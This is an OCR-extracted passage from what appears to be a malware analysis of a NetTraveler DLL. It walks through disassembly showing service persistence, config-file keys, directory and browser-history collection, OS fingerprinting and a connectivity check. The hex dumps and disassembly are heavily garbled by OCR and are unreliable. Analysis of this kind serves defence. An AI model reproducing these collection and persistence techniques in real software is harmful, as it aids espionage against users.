0040BOAD |74 20 62 65|20 72 75 GE|20 69 G6E 20|44 4F 53 20|t be run in DOS O019EET 4 | 48482220
0040BOBO | 6D 6F 64 &5 |2E OD 0D 0OA|24 0O 00 00|00 0O OO OO deE..:-$. re UOlQEE;S ACSFE 945
0040BOCO | 2B 2B 9C CD|6F 4A F2 9E|6F 4A F2 SE|6F 4A F2 9E ++:IDJQ.DJ . o. DOLQEE;C AC41434F
D040BODOD | 31 &8 F9 9E|6D 4A F2 9E|14 56 FE 9E|6B 4A F2 9E ;hu.mJg..vp.ng. OULSEESO 43414D5F
Q040BOEO |EC 56 FC 9E|GB 4A F2 9E |00 55 F8 9E|6B 4A F2 9E 1V".kJQ..U§.kJQ. O0D19EES4 | 454E4948
0040BOFO | 00 55 F6& 9E|GB 4A F2 9E |00 55 F9 S9E|GE 4A F2 9E .Ug.ﬁ]p.:u nlo. 0019EESS|5359535¢C
0040B100 | 6F 4A F3 9E|CF 4A F2 9E|EC 42 AF SE|FE 4A F2 9E|0Jo.IJo S 0. O0L3EESC | 5C404554
0040B110 |59 &C F9 9E |69 4A F2 9E |90 6A F6 9E|6E 4A F2 9E Y]u.1Jg..j nlo. O0L19EE90| 72727542
0040B120|52 69 63 68|6F 44 F2 9E|00 00 00 0O|0O0 OO OO OO|Richolo O0L19EE24 | 43746E65
0040B130 |50 45 00 00 |3C Ol Q4 00|7C FC 5A 4F |00 00 00 OO OD19EE9E | 72746EGF
0040B140| 00 00 00 0O0|ED OO0 OE 21|0B 01 06 00|00 FE OO OO 0019EESC | 65536C6F
0040B150 | 00 ES 00 00|00 OO0 OO OO|1B 8C 00 00|00 10 OO0 OO0 O0019EEAD| 65535C7 4
0040B160 | 00 90 00 00|00 00 OO0 10|00 10 00 00|00 02 OO0 00 O019EEA4L| 63697672
0040B170 |04 00 00 00|00 OO OO OO|O04 OO OO 00|00 OO OO OO0 O019EEAS| 465C7365
00408180 |00 A0 01 00|00 O4 00 0QO|00D OO 00 00|02 00 OO0 00 OD19EEAC | 55747261
00408190 | 00 00 10 00|00 10 0O OO|00 OO 10 OO|00 10 OO0 00 B s

Figure 23

I's worth mentioning that registering a DLL file as a service is a persistence mechanism. The newly created
service is started using StartServiceA API and the flow of execution is passed to the DLL export function

ServiceMain:
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i ¢/ ooso1689 57 push edi

1 ®| D040168A 57 push edi

¢ i ®( 00401688 53 push ebx

- . FF DO call eax eax:startservicea

I o[ DD40168E 53 push ebx

o ®| 0D40168F FF D& EElE esi esiiCloseserviceHandle

| t---re| DO401691 FF 75 FC push dword ptr ss:[febp-4[] T ) =

I >

eax=<advapi32.sStartserviceA> (77624600)

LTEXT:0040168C apt.exe: $168C #ASBC

02765C00
@Woump1  @lpump2  MDump3  WWoump4  WWoumps @ watchi  e-liofal TOTSRCEY| noooonoo
P T I I . 1l n019FCes | 00000000

Figure 24
Section ll

DLL file
SHA256: ED6AD64DAD85FE11F3CC786C8DE1F5B239115B94E30420860F02E820FFC53924

One of the first steps the malware is performing is to invoke GetProcessWindowStation API which returns a
handle to the current window station and then it uses OpenWindowStationA API to open the interactive
window station (“Winsta0”). The process assigns the specified window station (“Winsta0”) which is the only
interactive window station (the service is supposed to be interactive) to the calling process using the
SetProcessWindowsStation function:

. S E T e ———————
: :g DS B2 00 10 push "qstL.se-' switchingcompatibilityex. 10008208 1000B2D8: "winstad™
L] 88 F8 | mov_edi,eax
Eg——— FF 15 D& 91 00 10 | €817 dword ptr ds:[<a0penwindowstationas] |
[ 3B C6 | cmp_eax,esi . . e
38 C6 T T e D .
(dword ptr "[1'006'9’103 cfastuserswiTchingcompatibiliTyex.&0penindowSTationAs]=<user32.0peni ndowSTationAs
.Text:10001Cc72 fastuserswitchingcompatibilityex.dl1:$1C72 #1072
Wouro1  HDu2  WDwp3  @Howps  Moumps @ wathi  Ieellocss S stuct [HRSSSSEUN S0008aDS | THINSTAOT
addracs | baw lacrrr i | . | 00B7F238| 000D0037F
Figure 25
As in the first example the process creates a different mutex called “NetTravler Is Running!”. If it exists it will
exit without reinfecting the machine:
68 CO B2 00 10 push fastuserswitchingcompatibilityex.100082C0 1000B2C0; "NetTravler Is Running!™
6A 01 push 1
56 push esi
FF 15 €all dword ptr ds:[<4CreateMutexa>]
A3 54 TO D1 mov_dword ptr ds:[10017054],eax
FF 15 84 90 00 10 call dword ptr ds:[<&GetLastError=]
30 B7 00 00 00 T T —
f >
‘dword ptr [10009088 <fastuserswitchingcompatibilityex.&CreateMutexA> =<kernels2,CreateMutexA>
«TexXT:10001C92 fastusersw\::mng:ompa:lmthex‘un:ncez #1092
@Woump1  Yhoump2 WWoump3  Woump4  Woumps @ watchi  [x-lLocals i struct D0BTF234 m{
G iopm— iy : X 0 g TascTT G | F— | . |D0B7F238| 100082C0 | "NetTravler Is Running!"™
Figure 26
Now it retrieves a few elements from the configuration file config_t.dat created by the first process:
WebPage, DownCmdTime, UploadRate, AutoCheck, UP and CheckedSuccess (it doesn’t exist at this time,
so the function returns 0). All of the values are extracted using GetPrivateProfileString and
GetPrivateProfileInt APls:
. 50 push eax = = eax: "C:\\WINDOWS'\system\\config_t.
L] &8 00 01 OO 00 L
[ ] 68 70 68 01 10 ex.10016870
L 68 98 72 01 10 100 ;]
.| 65 98 BS 00 10 C y 1000 1000B898: "webPage”
. 53 p ebx: "Option”
g FF 15 A4 90 00 10 | call dword ptr ds: mﬁe\:?rwa;epran1es_:r1ngn>}
- 8B 3D A8 90 00 10 mov edi,dword ptr ds:[<&GetPrivateProfileIntA>
. 8D 44 24 10 lea eax,dword ptr ss:ffesp+10]
>

dword ptr [100090A4 <fastuserswitchingcompatibilityex.&GetPrivateProfileStringA>]=<kernel32.GetPrivateProfileStringA>

-Text:l0004EF4 fastuserswitchingcompatibilityex.dl1:$4EF4 #42F4

8A0[ "Option™
C | 10008898 "webPage”
10017298 fastuserswitchingcompatibilityex. 10017298
10016B70| fastuserswitchingcompatibilityex. 10016870
00000100|
C | DOBTFO30} "C: \\WINDOWS\\system\\config_t.dat"

(x=llocals ¥ Struct

H&Dunu 2 WDu'np 3 H!U Dun!:H

00B7FD30 43 3A 5C 57 (49 4E 44 4F |57 53 5C 73(79 73 74 65 |Q: \WINDOWS\syste
0O0B7FO40 (6D S5C 63 6F|GE 66 €9 67 |5F 74 2E 64 |61 74 00 0O|m cnnflg_r_.aar_..

Figure 27
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pus': eax “leax: “c:\\WINDOWS' \ system\\config_t.
push o
push fastuserswitchingcomparibilityex.1000B88C

push

mov_ cworc, pEr O%: CINKERRES:]  g2x

1000BSEC : "DownCmdTime™
ebx: "option™

eax: "C:\\WINDOWS' \system\\config_t,
>

.Text:10004F00 fastuserswitchingcompatibilityex.d11:$4F0D #4300

D0B7FO14
| ooe7Fo1s
0087F01C |

@Woump1  @4Dump2 @WDump3  @hDump4  WDumps @ watchi  Iellocls ) Stuct
00000000
00B7FO30| "C:\\WINDOWS'\ \system\\config_t.dat"

IELTCED 74 74 TN RA PF PF 77177 77 _PF_7RIAY 70 AN K1|ATTN/ /weww. vinma

Figure 28

50 eax:"C:\\WINDOWS' \system'\config_t.

64 0O
68 80 B8 00 10
53

push fastuserswitchingcompatibilityex. 10008880
sh ebx

1000B880: "UploadRate”
ebx: "Option™

Ltext:10004F21 fastuserswitchingcompatibilityex.d11:54F21 #4321

Soump1  @Mpump2  @WDump3  YWoump4  WWoumps @B watchi  be-llocas 2 struct D0E7F014 || 10008880 "UploadRate™

A || POBTFOLE | 00000000 i —
|nn1r.|rrn. 74 74 Tnl2A OF IF 77177 77 3F 7!.|:q 70 &n &1 |!rn- 7 ftates 7 mema I O0DBTFOLC || 00BTFO30| "C: \\WINDOWS\ \system\\config_t.dat

lF__igure EB__

|-: ;2 eax eax: "C:\\WINDOWS" \system\\config_t.
push o

mov ebx,fastuserswitchingcompatibilityex.1000B874
push fastuserswitchingcompatibilityex. 10008868

ebx: "other Two", 1000B874:"0therTwo'
1000B868: "AutoCheck”
ebx: "0other Two"

.TeXT: 10004F44 Tastuserswitchingcompatibilityex.d11:54F44 #4344
@Woump1  @oump2 @HDump3  @MDump4  @HDumps | 88 wathi

AN ERTN

Figure 30

74 T4 T

eax: "C:\\WINDOWS\\ system' \config_t.

1000B858: "CheckedSuccess™
ebx: "0ther Two"

eax: "C: \\WINDOWS\ \ system'\\config_t.
>

.Text:10004FSE fastuserswitchingcompatibilityex.d11:$4F5E W435E

@Woump1  @Hoump2 WHDump3 WDump4  WhDumps @ watch1  Dellocals  Stuct  [OrooEor ] 10008858 "Checkeduccess”
ODB7FO18
00E7FOLC || DDBTFO30| “C: \\WINDOWS' \system\\config_t.dat"

anntzoTn F4 74 TAlaa I€ € 7TITT IT IC Telica Tn oen £ e J flatamas Ard Pema

Figure 31

eax: "C: )\ \WINDOWS' \system' \config_t,

1000B36C: "UP"
esi:"0ther™

100025C0
100025C1
100025C3
100025C8

|

100025CF
10002501

+Text:100025C9 fastuserswitchingcompatibilityex.d11:$25C9 #19C9
@oump1  PYoump2 @HDump3  WNDumpd  WDumps @ watchi

00000000
O0BTEFEQ | 00B7FO30

"c:\\wWINDOWS\\system\\config_t.dat"

ANARTEMNIN

Figure 32

Because we’re running the DLL using an executable used by x32dbg to debug the DLL files, the process
name is similar to “DLLLoader32_58D1.exe” (in our case). The malicious process creates a .log file which
has the same name as the executable (“DLLLoader32_58D1.log”):

®| 1000SCBE push esi
.
-
.
® || 10005C97 03
e/ 10005C99 68 push 40000000
o || 10005C9E ish fastuserswitchingcompatibilityex. 100170588 10017088: "C: "
[+ reateFileax W
.

dword ptr [1000904C <fastuserswitchingcompatibilityex.&CreateFileas]=<kernel3z.Createrilea>

.Text:10005CA3 fastuserswitchingcomparibilityex.dl1: $5CA3 #50A3
houmpz  @Hoump3  UHoumps  loumps @ warchi

3A 5C 50[72 6F 67 72|61 BD 20 46|69 6C 65 t\Program Files
20 28 78 38|36 29 5C 2A|2E 2A 00 00|72 00 6F (x86)\"."..r.0.
m

IEiguré 33 o

ODBTEEA4
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The file enumerates the directories from “C:\Program File (x86)” and the output is copied to the newly
created file:

Ei DLLLoader32 5801 log E3

hﬂ Strike Metwork File Search Prol\
Adobe'

AllowBlock\

Bny Sound Recorder’
Application Verifier'
BudioCoder’,

Common Filesh

desktop.ini

Detect It Easyh

Dev-Cpph

11 DeviceViewsrh

DICOMviewer demol

Disk Pulse Enterpriseh

14 DiskBoss\

15 DiskBoss Enterprise)

16 docPrint Pro v&.0\

: Bry Dup Scout Enterprise’

Easy Video to iPod Conwverterh
Easy Video to PSP Converterh

LT

=1

oo

=
(]

Figure 34

wmoen

20 Easy WMV ASF ASX to DWVD Burnerl

21 Entity Framework Tools)

22 ExeinfoPe\

23 Faleemi'

24 Fiddler2h

25 Flash Slideshow Maker Professional®,
26 Free MP3 CD Ripper\

L) Frigate®

28 Google,

Z9 Graphvizz.3s\

30 HxDY

31 Immunity Inch

3z Imports Fixerh

33 InstallShield Installation Information'
34 Internet Explorerh

RegOpenKeyEXxA API is used to open
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders” registry key
and the “History” value is extracted from it using RegQueryValueEx. The content of “History” value is
“C:\Users\<Username>\AppData\Local\Microsoft\Windows\History”:

- 50 | push eax AT & UL
. 63 19 00 02 00 | push 20013 s A T
. 53 | push ebx XB7r4 00000000
. 65 AC BO 00 10 | push fastuserswitchingcompatibilityex. 100080AL 1000B0AC : “Software\\Microsoft' \wind X87r5 00000000
. 68 01 00 00 8O | push 80000001 XB7ré 00000000
. 89 SE 04 |'n0\r mrd D'I:r ds .tbn XE7rT 00000000
- B3 SE 0B |mov dword ptr ds
Fg—» FF 15 08 90 00 10 | BNl dword prr ds: fcmmpenmeytm] x87Tagword FFF
- 85 CO | test eax,eax XB7TW_OD 3 (Emp
' . 75 28 |‘rm: Fastusersmr.cnirngcompa.ﬁbﬂitm 10001195 X87TW.2 2 (Emp
. 80 45 F5 ea eax,dword ptr ss:feop-5] 87TTW_4 3 (E
. C7 45 FB 04 01 00 00 | mov dword prr cs:fenp J}._-- r XETTW_ 1 32 (Emp
™ ET: 50 'nush sax XB7TW_6 3 (Emp
@ 1c BD B85 F4 FE FF FF l'lea eax,dword ptr ss:[febp-10C]
o1 50 push eax xB7STatusword
| 1r 53 | push ebx XBTSW_B O xB
@ 1c 53 |Du5h ebx XBTSW.C1 0 x8
@ 1r €3 A4 BO 00 10 |pIJS|’| Tastuserswitc ngcompatibllityex. 10008044 100080A4: "HisTOry XB7SW_SF 0O x8
ef 10 FF 75 FC ush dword tr S5: R S
o FF 15 04 90 00 10 12- 1 dword atr ds: [cuenguerwaiueeml | e
] R > | Default (stdcal)
i L = =
dword ptr [10009004 <fastuserswitchingcompatibilityex.dRegQueryvalueExa>]=<advapi32.RegQueryValueExas 25914] 100¢
E!speﬂ} 000C
esp+C] 0002
-Text: 10001186 fastuserswitchingcompatibilityex.d11:3811586 #5586 5 tzspﬂ.DJ 00E

100080AC | "Software’\Microsof o' \windows' \Currentversion’\Explorer\'shell Folders™

WWoump1  @Hoump2  @Hoump3  $kDumpd  EHDumpS & watch 1
= 5 = s 00000000

Address | Hex Axﬂ

[ 00020019
ofogzzuﬁ i?ol co Uu JJ|JO oc oo JJ JJ oo co uleJ :Ja oo Lol ................ 0087C200
Figure 35

The malware is looking for a file called “C:\Users\
<Username>\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat” which contains Internet
browsing history activity, including Internet based searches and opened files:
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57 push edi XETTW_6 3 (Empry)

.
- €8 8D 00 OO 0O push &0
- 64 0 push 3 x87Statusword 0000
- 57 push edi XB7SW_B 0 xBTSW_C!
. 6A D3 push 3 XETSW_C1 0 xB7SW_CQ
- 68 00 00 00 80 push 30000000 XB8TSW_SF 0 xBTSW_P
- FF 74 24 2C sh dword ptr ss:fesp+acl e B ARSI
| FF 15 4C 90 00 10 { dword prr ds:[<acCreaterilea>] w [ =
- T S=—otooo 5 Default (stdcall)

(dword ptr [1000904C <fastuserswitchingcompatibilityex.4CreateFileas]=ckernel32.Createrilea>

esp+C] 00000000
25p+10.

2: [esp+4] 80000000
3: [esp+8] 00000003
4

LText: 10001200 Fastuserswitchingcompatibilityex.d11:$1200 #600 3

Poump1  @SDump2 Woump3  @oumps  @SDumps Qwawh’r

E

Shusersh
3 72 Data'Loce
73|5C 45 63 ?3! soft\wing

i 3A 5C 55|73 65 7

Figure 36
The process extracts “Version” value from
“HKEY_LOCAL_MACHINE\SOFTWARE\WOW®6432Node\Microsoft\Internet Explorer” using
RegQueryValueEx function:

. 50 push eax
- 64 01 push 1
- 53 push ebx
- 68 38 BE 00 10 push fastuserswitchingcompatibilityex.l1000BESS 1000BES 8: "Softwar e','\Microsofti\\Inte
. 68 02 00 0D 80 ush 80000002
Eg—3s FF 15 08 90 00 10 dword ptr ds:[<ERegOpenkeyExAs]
- a5 Co test eax,eax
ymm———— . ~ 75 7D ine fastuserswitchingcompatibilityex.10007278
. . 6A 40 push 40
! . 8D BD F1 FD FF FF lea edi,dword ptr ss:febp-20F]
| . 59 pop ecx
! - 88 90 FO FD FF FF mov byte ptr ss:febp-zio§,bl
| - F3 aB repe stosd
| L] 66 AB stosw
| L E AA stosb
H . 8D 45 F8 1ea eax,dword ptr ss:febp-sj
! - C7 45 FB 04 01 00 00 mov dword ptr ss:[lebp-58§,104
! . 50 push eax
| . 8D 85 FO FD FF FF lea eax,dword ptr ss:[febp-210§
i . 50 push eax
. . 53 push ebx
| . 53 push ebx
1 . 68 50 BE 00 10 push fastuserswitchingcompatibilitTyex.1000BESO 1000BES0: “version®”
1 o 10¢ FF 75 FC ush dword ptr ss:[febp-4
| N FF 15 04 90 00 10 k ‘dword ptr ds:[<aRegqueryvalueExa>]
i o 10 85 CO Test eax,eax
{ *l< >
dword ptr [10009004 <fastuserswitchingcompatibilityex.4&ReglueryvalueExA>]=<advapi32.RegiueryvalueExA>
.text:10007228 Tastuserswitchingcompatibilityex.d11:$7228 #6628
@oumpt  @oump2  @Woump3  WYoump4  WWoumps @ watch1  Ix=lLocaist P ITOETEO0S 10008E5 8| "Software\\Microsoft\\Internet Explorer”
duress [nex T A ] 00872005 | 00000000
- - B YuRr-r a— - - 1|
ooe7F 120/ 45 B0 ES[B1 BE 34 20[49 6€ 74 6522 g g Za[BE"eN: Incerne| Sos7eazal

Figure én7
Window 10’s Internet Explorer is Build 916299, Version 9.11.16299.0 as shown in the figure below:

B Registry Editor O

File Edit View Favorites Help

' Computer\HKEY_LOCAL_MACHINE\SOFTWAREVWOWS432Node\Microsoft\internet Explorer

> ENROLLMENTS A Edit string X Data
EnterpriseCertificates (value not set)
> EnterpriseResourceManager Value name: 916209
> | EventSystem [Verson ] 0x00000001 (1)
» Exchange
s Bl iz Value data: Jos
; e |‘J.'I‘I 16295.0] https://go.microsoft.comy/fuwlink/Tlinkid=1
KB4089187
.| Feeds
FilePicker | : | Cancel 11.0.56
- n 11 304 1R7GA N

Figure 38
The following information is appended to the .log file: IE History is empty because that file is missing on
Windows 10 and the IE version (note that “version” word is written in Chinese language “hf4<"):

T4

IS5 STt iiriifrifiifds
76

7T

78 IE History:

=y
[Ta)

Figure 39
FEFEEFEES i i iiridridiriifidfifiriissd

IEMRF : Internet Explorer 9.11.16289.0

[ s s B R e
B W M= O
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GetVersionExA function is utilized to find the current operating system. The recognized versions are:
Microsoft Windows 7, Microsoft Windows Vista, Microsoft Windows 2003, Microsoft Windows 2000,
Microsoft Windows XP and Microsoft Windows NT:

10006EC
10006ECT E8 18 1B 00 00 «<fastuserswitchingcompatibilityex.strcat>
10006ECC 59 pop ecx
10006ECD 59 pop ecx
10006ECE 83 BD 68 FF FF FF 05 cmp dword ptr ss:febp-9s5§,5
P 10006EDS » 75 65 jne fastuserswitchingcom| mtil'n Tityex. 10006F3C
H 10006EDT 39 9D 6C FF FF FF cmp dword ptr ss:febp-94],eb
' 10006EDD| ~ 75 AC ne fastuserswitchi necul )ﬂtihﬂltyex. 10006EFB
[ 10006EDF BD 85 &0 FE FF FF ea eax,dword ptr ss:Qebp-1a0]
! 10006EES 68 D8 BB 00 10 push fastusersmtch'l ngcompatibilityex.100088D5 10008BDS: "Microsoft windows 2000 "
' 10006EEA 50
i 10006EER E8 F4 1A 00 00 E dastuserswit:h‘lmomﬂbi“tyu Strcats
; 10006EFD 83 BD 68 FF FF FF 05 cmp deword ptr ss:febp-38],5
i 1D006EFT 59 pop ecx
! 10006EF8 59 pop ecx
! - 10006EFS v 75 41 jne fastuserswitchi ngl:al ntih‘i Tityex.10006F3C
' : 10006EFE 83 BD 6C FF FF FF 01 cmp dword ptr ss:febp-
1 ) 10006F02| +« 75 1C ne fastusersw‘itc 1n9cmp¢t1h111wex.1ooos¢=zo
[ 10006F04 8D B85 60 FE FF FF ea eax,dword ptr ss:febp-1a0]
1 : 10006F0A &8 CO BB 00 10 push fastuserswitchi nucumpat1b1 Tityex. 10D0BBLO 1000BBCO: "Microsoft wWindows XP "
! ' 10006FOF 50 ush eax
o 10006F 10 E8 CF 1A 00 00 -efastusersrit:hinqcomﬁni‘lityeu strcat>
[ i 10006F15 83 BD 68 FF FF FF 05 dword ptr ==:Jebp-22§,s
I i 10006F 1C 53 pop ecx
| 10006F 1D 59 pop ecx
P 10006F1E| ~ 75 1C jne ustuurswitchimm ttihﬂ‘ltyex..l.ooowac
! 1 10006F20 83 BD 6C FF FF FF 02 cmp dword ptr ss:febp
U 10006F27| + 75 5C ne fastuserswﬂ:mmcmpnim‘lityex.xmss
I 10006F29 8D B85 60 FE FF FF ea eax,dword ptr ssiflebp-1a
i 3 10006F 2F 68 AB BB 00 10 push fastuserswn:-:m ngcompatibilityex. 1000BBAS 1000BBAS: "Microsoft windows 2003 *
] 10006F34 50 us
(e 10006F 35 EB AA 1A 00 00 h <fastuserswitchingcompatibilityex.strcats
i 10006F3A 59 pop ecx
il 10006F3B 59 pop ecx
: 10006F3C 83 BD 68 FF FF FF 06 cmp dword ptr ss:febp-2sj,s
- 10006F43| ~ 75 40 ine futusa‘smtcﬂnecw atihﬂityex.moosvas
: 10006F45 35 9D &C FF FF FF cmp dword ptr ss:febp-34
H 10006F48 v 75 A ne fastuserswitl:11m:mpnt1b111tyex.lDDOGFGB
! 10006F 4D 8D 85 60 FE FF FF ea eax,dword ptr ss:febp-1a0] _
] o 10006F53 &8 BC BB 0O 10 push fastusersmtcm ngcompatibilityex. 1000BBSC 1000BBBC: "Microsoft windows Vista *
i o | 10006F58 s0 sh eax
] ®| 10006F59 EB 86 1A 00 00 dntusersﬂtchimcmwt‘lﬂyu strcat>
] o 10006F5E 83 BD 68 FF FF FF 06 cmp dword ptr ss:febp-93], 6
1 || 10006FBS 59 pop ecx
! e 10006F 66 59 pop ecx
s e| 10006F67| ~ 75 1C jne fastusersmu:hmocm atibilityex. 10006F85
1 ® || 10006FE9 83 BD 6C FF FF FF 01 cmp dword ptr ss:febp -&E
i $ ' || 10006F7D - Z_E }? e T jne fastusu'mtch’lmcu!pnt'lmhtyex 10006F85
Plih U >
1000BEFD "Microsoft windows NT
.Text:10006EC1 fastuserswitchingcompatibilityex.d11:$6EC1 #62C1
Woump2 @WDump3  UWoump4  UWhoumps @ watch1  IxelLocalst P
10008870 4
B2 D9 D7 F7|CF BS CD B3|S NT . Q0B7EF60

Figure 40

It also extracts the “ProductType” value from
“‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions” registry key. On our
system the value is equal to “WinNT”:

10006F 838 push eax

10006F89 push 1

10006F88 push ebx

10006F8C &5 48 BB 00 10 push fastuserswitchingcompatibilityex. 10008848 1000BB48: "SYSTEM\\CurrentControlset
68 02 00 DO BO ush 80000002

10006F 91
10006F 96 FF 15 08 90 00 10
8D F8

10 FE FF FF

dword ptr dz:[<iRegOpenKeyExA>]

lea eax,dword ptr ss:febp-sj

push eax

lea eax,dword ptr ss:febp-1Fof

push eax

push ebx

push ebx

fastusersm:chinqcumpanmhtye: 1000883C 1000BB3C: "ProductType”
d ebp-

10006FAE

dword ptr [10002004 <fFastuserswitchingcompatibilityex. i-ilemuerwa'l ueExA>]=<advapi32.RegQueryvalueExa>

.Text:10006FB1 fastuserswitchingcompatibilityex.d11:$6FB1 #6381

@oump2 @oump3  WWDump4  Wpumps @ watchi

SYSTEM c urr erltcontr' et\CDrrt r'1\\Prot:t0p1: on

Le=] Locals! P

F‘igure 41
The following string is appended to the .log file: “IE{ERSehRA" translates to “Operating system version”:
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FALEEFFEAEETTIF I EF I E i EiIIFiiiifiariiiisify

¥R{EREINA: Professional, (Build 9200) Figure 42

(5 Ie SR R
=] M

The user agent used in the network communications is always set to “Mozilla/4.0 (compatible; MSIE 6.0)”.
There is also an Accept request HTTP header as shown below:

. 53 push ebx

L] 53 push ebx

L 53 push ebh

- 64 01 push 1

. 68 F4 Bl 00 10 ush fastuserswitchingcompatibilityex.1000B1F4 1000B1F4: "Mozi11a/4.0 (compatible;
. FF 15 QOC 92 00 10 gI dword ptr ds {‘atnternetopem\a]

38 €3 cmp eax,ebx
89 45 E8 mov duor‘d ptr ss:febp-15],eax [ebp-18]:"REM™
~ OF 84 AD 01 00 00 ;|e fastusersmtcl’nnqcompahbfhtyex.10001(27
1 < >

eCx=00B7EB3F

.text:10001A5D fastuserswitchingcompatibilityex.d11: $1A5D #ESD

. Accept: image/gif, image/x-xbit image;/:
@Uoump1 | @NDump2  WHDump3  WDump4  WMDumpS @9 watch1  fvelLocalst B g g ey = e ey
Address | Hex ASCIT -
O0B7E798 |4l 63 63 65|70 74 3A 20(69 6D 61 67|65 2F 67 69|Accept: image/gi
DOB7E7AB| 66 2C 20 696D 61 67 65|2F 78 20 78|62 69 74 60| T, image/x-xbitm
OOB7E7BS|61 70 2C 20|69 6D 61 6765 2F 6A 70|65 &7 2C 20(ap, image/jpeg,
00B7E7CS|69 €D 61 67|65 2F 70 GA|70 65 67 2C|20 61 70 70|image/pjpeg, app
OOB7E7DS|6C 69 63 61|74 69 6F GE|2F 78 2D 73|68 6F 63 68| lication/x-shock
O0B7E7ES|77 61 76 65(2D 66 6C €1|73 68 2C 20|2A 2F 2A 00 |wave-flash, = /=,
OOB7E7FS|0A 41 63 63|65 70 74 2D|4C 61 6E 6775 61 67 65|.Accept-Language
OOB7ES08|3A 20 65 GE|2D 75 73 OD|0A 50 72 6F|78 79 2D 43|: en-us..Proxy-C
00B7EBLB|6F 6E 6E 65|63 74 69 GF [GE 3A 20 48|65 65 70 2D|onnection: Keep-
O0B7ES828| 41 6C 69 76(65 0D OA 50|72 61 67 6D |61 3A 20 6E|Alive..Pragma: n
ODB7ES38|6F 20 63 61|63 68 €5 00|00 00 CE 00|48 EA B7 00|o-cache. .He-.

Figure 43

The process tries to connect to http://www.microsoft.com/info/privacy_security.htm (this URL used to be
available in the past) in order to verify if there is an internet connection. The HTTP request is shown in
figure 44:

10008218
00000150/
00000001 |

65636341

TNEAPERS |

B e e e i e s e e g w per e e
| o || 10001488 53 push ebx
1 ®| 10001ABD 68 00 01 40 8O push 30400100
| e 1000148E 53 push ebx
g e | 10001ABF 53 push ebx
! e 10001ACO 53 push ebx
g | 10001ACT 50 push eax eax: ,r'lnfo,rpr'l vacy_security.htm”
! @ 10001AC2 &3 ES8 B1 00 10 push fastuserswitchingcompatibilityex.1000B1E41000B1ES: "GET"
1 ®( 10001ACT FF 75 EC push dword ptr ss;[lebp-14[]
EIP + FF 15 14 92 00 10 call dwur‘d ptr ds: [<&HttpOpenRequestaA>]
| ~n 2 e siidiege T 0
:
dword ptr [ebp+8]=[00B7F110 &"http: ..r‘..r‘mm' m1cr'usoft com/info/privacy_security.htm"]=1001718C "http://www.microsoft.com/info/privacy_security.htm"

eax=00BTEFAS "/info/privacy_security.htm

.text:10001AD2 Tastuserswitchingcompatibilityex.dl11:$1AD2 #ED2

LDUCCOoUs
1000BLES| "GET™

DOB7EFAS| " /info/privacy_security.htm”
00000000
00000000
00000000
80400100
00000000

Woump1  @Woump2  Moump3s  Woumps  WWoumps @ watch1  [x=llocals! P
Address | Hex ASCII

1001718C |68 74 74 70|3A 2F 2F 77|77 77 2E 6D|69 63 72 GF |AtEp://www.micro
1001719C |73 GF 66 74|2E 63 6F 6D|2F 69 6E 66|6F 2F 70 72|soft.com/info/pr
100171AC |69 76 61 63|79 5F 73 65|63 75 72 69|74 79 2E 68| ivacy_security.h
10017 1BC |74 6D 00 00|00 0O 00 00|00 0D OO 00|00 00 00 OO |EM.v.v.nrerenr.s

annavarc lan an an oanlan Aan an anlan anofn Anlan An e An

Figure 44
If the connection is successful the following strings will be added at the end of the .log file:

88 method 1:

80

g1 vser:H Figure 45
93 <Response from the server>

Furthermore UP (use proxy indicator) is set to 0 and it adds a value called CheckedSuccess (set to 1) to
config_t.dat using WritePrivateProfileStringA API:
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http://www.microsoft.com/info/privacy_security.htm

push eax
push T

push
call dword ptr ds: Et&ﬂlﬂ(ePl"\fiteProfi'Iesti'"\gﬁo]

WINDOWS' '\ System

>
ngA>
.Text:10007392 fastuserswitchingcompatibilityex.d11:57392 #6792
| ¥Woump1  Gloump2  YHDump3  Goump4  Woumps 8 watchi  b-lloca! P ol
JascII 1 al 10008330| fastuserswitchingcompatibilityex. 30
MR e 00 010 57 00 00 B 10 FE. = | DO0B7F024| "C:\\WINDOWS\ \systes\\conf1g_t. dat
50 push eax: "C:\\WINDOWS\system\\ci
63 50 B3 00 10 push
68 58 B8 00 10 push f weclycdd iccess
68 74 BB 00 10 ush fa 5
FF 15 A0 90 00 10 gl'l‘,l _dward ptr ds.!mnte?nvnepruh es:rmq»‘l
>
.Text:100073E7 fastuserswitchingcompatibilityex.d11:$73E7 #67E7
W% Dump 1 %43 Dump 2 WDump3 S Dump4 SN Dump5 % Watch 1 b=l Locais! P 'geckedsucczss
Address Im ]mn I » f!slus!rsw'tth‘i ngtomfiﬂtib‘i'lityel 10008350
1000B350 3% 00 DO DO125 73 5C 73179 73 74 65160 5C 63 GFIN...Ws\svetem\ca I T A\WINOIOWS A\ Sy e\ Conf i gk, dat '
Figure 46
. . 13 ”
Now, if the connection was unsuccessful , an “Method1 Faillllll” message is written to
H “ ”
DLLLoader32_58D1.log. Process32First and Process32Next functlons are used to find “EXPLORER.exe
process and then the process tries to open it using OpenProcess API:
1000155E E8 75 74 00 0O @l <fFastuserswitchingcompatibilityex.Process3zFirsty
10001563 8B 3D 40 90 00 10 mov edi,dword ptr ds:[<&CloseHandlex] edi:CloseHandle
10001569 8s Co test eax,eax
10001568 ~ 74 B3 je fastuserswitchingcompatibilityex.100015D0
10001560 FF 75 @C push dword ptr ss:|[febp+C [ebp+C]: "EXPLORER.EXE"
10001 8B 35 94 91 00 10 mov esi,dword ptr ds:[<&strupr>] esi:strupr
———>®| 10001576 FF D& €&l es1 esi:strupr
! 10001578 59 pop ecx ecx: "EXPLORER . EXE™
! 10001579 50 push esax
| 10001574 8D 85 F8 FE FF FF lea eax,dword ptr ss:[lebp-105]
| 10001580 50 push eax
4 10001581 FF D& &l esi esi:strupr
0 10001583 59 pop ecx ecx: "EXPLORER . EXE"
10001584 50 push eax
10001585 E8 BC 74 00 0O call <fastuserswitchingcompatibilityex.stromp=
10001584 59 pop ecx ecx: "EXPLORER. EXE"
10001588 85 CO test eax,eax
1000158D 59 pop ecx ®: "EXPLORER. EXE™
r----@| 1000158E ~ 74 16 je fastuserswitchingcompatibilityex.100015A6
1 10001590 80 85 D4 FE FF FF lea eax,dword ptr ss:|[febp-12Cj
i 10001596 S0 push eax
! 10001597 53 push ebx
10001598 E8 35 74 00 0O €811 <fastuserswitchingcompatibilityex.Process32Next>
10001590 85 €O test eax,eax
1000159F ~ 74 2F je fastuserswitchingcompatibilityex.100015D0
